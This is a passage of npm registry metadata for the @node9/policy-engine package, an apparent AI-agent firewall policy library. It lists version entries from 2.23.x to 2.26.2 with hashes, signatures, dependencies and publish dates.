firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.23.1_1790277591673_0.6089412842526953","host":"s3://npm-registry-packages-npm-production"}},"2.23.2":{"name":"@node9/policy-engine","version":"2.23.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.23.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"642f551bc9d02e1e9c83a21aeb976871dd50c279","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.23.2.tgz","fileCount":7,"integrity":"sha512-9YITli0y6E4KH1KNjkyMXWVh9efDIrgY+p+rJdfhMk5qrHtibKLAIzaPHlwY2bwOeB6RGYLL2IIPWwm+7EesWQ==","signatures":[{"sig":"MEYCIQDurK/wPcshoAhvYf3sZywabZuG3TGhpS/1ipxq7T8IWQIhAK5tRJl/kCIrQmUF3WavI+S3QqXpdXjgabTZ3OdXsJxg","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCICZb87ew7Le+86RkBb+uQ5t1sDNQidcMSLsIyFozjSuCAiEArvXeq26ktsaKbUNk3S/4i2nHbBD2VNCzx1DkmHsXeFI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.23.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"60687ebf61904df72a97c270f9873f3264e9972b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.23.2_1790296325023_0.32474346176836666","host":"s3://npm-registry-packages-npm-production"}},"2.23.3":{"name":"@node9/policy-engine","version":"2.23.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.23.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b3f0672f4c055477eba6b2ece86fd149c509183b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.23.3.tgz","fileCount":7,"integrity":"sha512-ECfxzrrfT8So7DweUQPVxRdqF/wXUWwyOK1D7/LCgS3Yup+ZzAizZ5EkykI17ozO0oBaEJoUFOQFtiYlxDsL2A==","signatures":[{"sig":"MEUCIGbJ2cuzxUWulsIUl40xLgSF56slw61Ti99LJakECazxAiEAuIMC+x/pzvjZZDPHY0D5lxQDJLcNfKr03jKvBKHxnMA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFINnOF9XHhYhvuqsKAHIGNy9zl7ebt0aDezLY6qmn1DAiEAz9E2bVE4ujS0kdVSz7pGPlpe4qcxTNmVonY8DYv57rg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.23.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b1c654a20443a03bc16f949307d2272e8cea2799","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.23.3_1790352413265_0.7124862979755584","host":"s3://npm-registry-packages-npm-production"}},"2.24.0":{"name":"@node9/policy-engine","version":"2.24.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.24.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"0cd9d3777dfa9a39053f15eca64690718f44d1f9","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.24.0.tgz","fileCount":7,"integrity":"sha512-4vS0SvNZBXiRRL67l+5e3eqXdGUuonJtpq8Hqrd5soIycvFcnPJ/dUuFjExnIZU4jfbcw2YqBxj4jL/jR9GX/A==","signatures":[{"sig":"MEUCIQDjKt51r9PAHtXx4/aU2419k7dYSqtqleRRx5cIkF1RfgIgFWXYTfBGZj6hPkG3O/OSJxpY8HBi3eSwaMqCV2MLeiQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIFktdU4B3xPjvtWHHaKCx83/pwXbvAlrvG1f9GSamMs5AiAdsJx28n2paP9q/kB3RIAS04fjchFlAtk61A5uwCr+uw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.24.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"37d940c579babcc76b852eb7016678dbd0a90ea3","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.24.0_1790373268174_0.45823926804610826","host":"s3://npm-registry-packages-npm-production"}},"2.24.1":{"name":"@node9/policy-engine","version":"2.24.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.24.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"3c2b0c64da87c3acb789e9b2e6fed127d36da35d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.24.1.tgz","fileCount":7,"integrity":"sha512-Ks9JBBDbcF3/dc8zpt6qz/LmXN/WxJWg0lMHcJ1mbSZtm3NfR7LPtoAy04OIgwvlxmeFaKwOxHCfPuQzG3izZg==","signatures":[{"sig":"MEUCIHC6jRnc998kVY8a2qoCpVau60Q2ZzoMXXi1Fqrr66LQAiEAjxBcbFZEYqUVp5YFbzZ1alN79Bil6WQUikEfLfew5ik=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFHMIZpzUbL/1wWbK+c+7wtfAKL4xQH1i1NBWIi2JAw8AiEAp+rxlol28QoJ5nNUSh+0Gae/iX0p6nejoo7up3F17z0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.24.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"620b6be179682042e416ef963dea65db8bad8171","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.24.1_1790381543013_0.38701978440841334","host":"s3://npm-registry-packages-npm-production"}},"2.24.2":{"name":"@node9/policy-engine","version":"2.24.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.24.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e61366285dee3ba55f0d24334c3085ae1d8e0510","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.24.2.tgz","fileCount":7,"integrity":"sha512-iM69lL3PRivf88qJNWlRNjffPuiL4yFZlXb8l/AR23nzRMSizjdSEpBY3iytZWa/BH88hX9s8cK3ReGMt4AADA==","signatures":[{"sig":"MEQCIFHKibU2jOeOvCalrRU2UpKTfJn30/ledbvwiGEoQxvhAiBCOgelawZGmkfgkadujoqdsdzMcYnmnarUz3zHvogypw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDZ0Mnhphg5vrN7keS1URTUmmNRpsJi2SW7X5Nk2jDGNgIhAPDeL9eTbG7/gabJIsnRYT/6TF8H3Jsmzy4SLc7ZFGci","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.24.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d9637f357446cf08b07c941da8218c9dc2be828b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.24.2_1790418940012_0.07964173265244034","host":"s3://npm-registry-packages-npm-production"}},"2.25.0":{"name":"@node9/policy-engine","version":"2.25.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.25.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5ebdc5f88c609131624b52aaa2dbcaf53bd6b2e5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.25.0.tgz","fileCount":7,"integrity":"sha512-JIXjX9ryXj40osDhepVqxih9z4PvSZLdTHeJB5ChxyHxlPOZEeRCRlWEEihqvxR4P4t6lZ2ngUSHCCIRhNSWDw==","signatures":[{"sig":"MEUCIQCF2jWxAiq3HZS92Xep2L7dD1W5ya54+sbipfHk5MaC0gIgX300YdY+ZBlwNCoUmL8v+KMWINrSxEXYPJQ8neLn3Ek=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCICpLd/LJLxseRk7KW2J/spfJrwLWgMdI/oof+g7gowaBAiA/ARLEaYo1fH7hToGDH1/9rzorPbM0vN3z1i0iMh7gSg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.25.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8584112eee492124e8731a07e44d8e4ebdf99e99","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.25.0_1790517745140_0.30115266455277734","host":"s3://npm-registry-packages-npm-production"}},"2.25.1":{"name":"@node9/policy-engine","version":"2.25.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.25.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"c10772be2c13bbcdad090791855333cafef2ca2e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.25.1.tgz","fileCount":7,"integrity":"sha512-6belXS7hdmtyZ3bM0xSry6SqNn8NCjAfZegg1eS55n8CPQABq/NEbuso6nxQrIOBX9kkpMW/NdkclI8Jwz+f9Q==","signatures":[{"sig":"MEYCIQD+yUUrX90r+5i5C6iWGt37XIkE8grHGb73X4OBuHoGkQIhAKTDRnygyC9Pwj6jSaMXHNC9bYVEqGJCve63aSP++gTJ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCxrkKxx6L5TAl1PXIMl4eyQtM0ZAbM0rGfsnP34jYofAIgTkTvg64o+yAjXXQ2dtxXX8DDZxyN2xX8VJQwlqo/MsY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.25.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594238},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5b0f66d076531b61bda9e0c059118114025452e8","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.25.1_1790536319906_0.8330987645391739","host":"s3://npm-registry-packages-npm-production"}},"2.26.0":{"name":"@node9/policy-engine","version":"2.26.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.26.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"0f93edcc3b660be92e496f6519d0b9f87230e8e8","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.26.0.tgz","fileCount":7,"integrity":"sha512-Tr5dXrsSIDIQsKnGFBQSBxl2cBaWXlmw0t+JXle6OEmhcxNwt8DXV6ewbsWxHusItyxzkScU5FB/vI7S34SczA==","signatures":[{"sig":"MEYCIQCLt/o6N6oJTmnNH9DVmADkf4xN+gUW9lxSEBb9TopwdQIhALZRDFnfVqtzSdXFccTPdB0KGFKfjfTEsiD7QDi8tHdu","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIE0E+wXtmmXFyjwGLoXo1M2NzymtITm0lYvQLo37pxGiAiAOz6TZfqIYOtDx0oV+MFeDIWvJjTj+s0EdDwJEF+4WAw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.26.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594276},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7b6f86dd61f0e34a344efda6130b74c0cf51e897","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.26.0_1790669457743_0.2714221771662595","host":"s3://npm-registry-packages-npm-production"}},"2.26.1":{"name":"@node9/policy-engine","version":"2.26.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.26.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"a6d35c7c79bed8fd59a8aac1ab0dbcf1f80bfb3e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.26.1.tgz","fileCount":7,"integrity":"sha512-e/vG1PYF4P3K8AWtULwM0jVxA0uxYgOC3LizFgVZVxpPlMCm2i/EyD9d3YjaZNnSi0c4gcofuDUlB4dFka8pPg==","signatures":[{"sig":"MEUCIQDP7REhEv73XNP7K7g2QmtA84ZsXvLdRrRdu9jku0YIrwIgZ8exvkOoWE6uJtjPjpot9BrX6f6sxv7ltGG9pantTyA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIEQGKniGDW1wKRTCs1TXQjawLwTSwbsPiGuvuteBNEPtAiEAx58Dq4Eg3DEeHACIiRr9Xuk46gXJ97BV6tNwWRikVZA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.26.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594276},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0e50d7fed4ff5fa263a93efca704dc4ff62d23b4","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.26.1_1790676555743_0.005659257085525615","host":"s3://npm-registry-packages-npm-production"}},"2.26.2":{"_id":"@node9/policy-engine@2.26.2","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"19e394027741fcfd46f2f6acb3e64760191a80ac","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.26.2.tgz","fileCount":7,"integrity":"sha512-OI+VldfDwScnZuVRFP842cJKwJBKApvL4dGwcD/HlUn6bJPy6HfrPXr+6Z6vlwhjpQ15A+rScY53LcUY55hrWA==","signatures":[{"sig":"MEUCIQDtOkk5yPFF5BE9rkwCYwYi3wLstGagCoEnqxmeuH5GuAIgXtUGORilCRRMhKTIzjm/ULq3DceKJLWChjXr8EdFLmU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIGGlaTUD7iGHLNimDSqMquyHW4BePHD2nhZG56aOih3+AiBqsgz4lIAfyrGX+frfh4kLRYbVG9XW1VeII37lF0Dq4A=="}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.26.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":594276},"main":"./dist/index.js","name":"@node9/policy-engine","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"cc2a339e4425742df8d5f2b219da355db1ac24e1","license":"Apache-2.0","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"version":"2.26.2","_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"847867a4-de34-4b47-8847-6e8e3297df60"}},"homepage":"https://node9.ai","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.1.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/policy-engine_2.26.2_1790687156353_0.6313916291810011"}}},"time":{"created":"2026-04-28T17:39:08.607Z","modified":"2026-09-29T13:05:56.852Z","1.0.0":"2026-04-28T17:39:08.816Z","1.4.0":"2026-05-05T12:25:12.239Z","1.5.0":"2026-05-14T05:12:29.430Z","1.26.3":"2026-05-22T17:26:26.959Z","1.27.0":"2026-05-24T17:04:51.738Z","1.27.1":"2026-05-25T21:12:26.617Z","1.28.0":"2026-05-27T16:39:20.473Z","1.29.0":"2026-06-07T06:23:15.421Z","1.30.0":"2026-06-07T17:52:25.797Z","1.31.0":"2026-06-07T21:03:59.255Z","1.32.0":"2026-06-09T10:21:08.034Z","1.33.0":"2026-06-13T08:06:06.897Z","1.34.0":"2026-06-14T11:58:13.399Z","1.35.0":"2026-06-15T06:08:08.743Z","1.35.1":"2026-06-15T06:39:39.736Z","1.35.2":"2026-06-15T11:44:34.748Z","1.36.0":"2026-06-15T17:25:06.835Z","1.37.0":"2026-06-17T18:07:08.201Z","1.38.0":"2026-06-18T08:57:40.207Z","1.39.0":"2026-06-18T16:14:43.568Z","1.40.0":"2026-06-22T15:37:27.907Z","1.41.0":"2026-06-26T05:13:21.621Z","1.42.0":"2026-06-26T06:24:02.342Z","1.43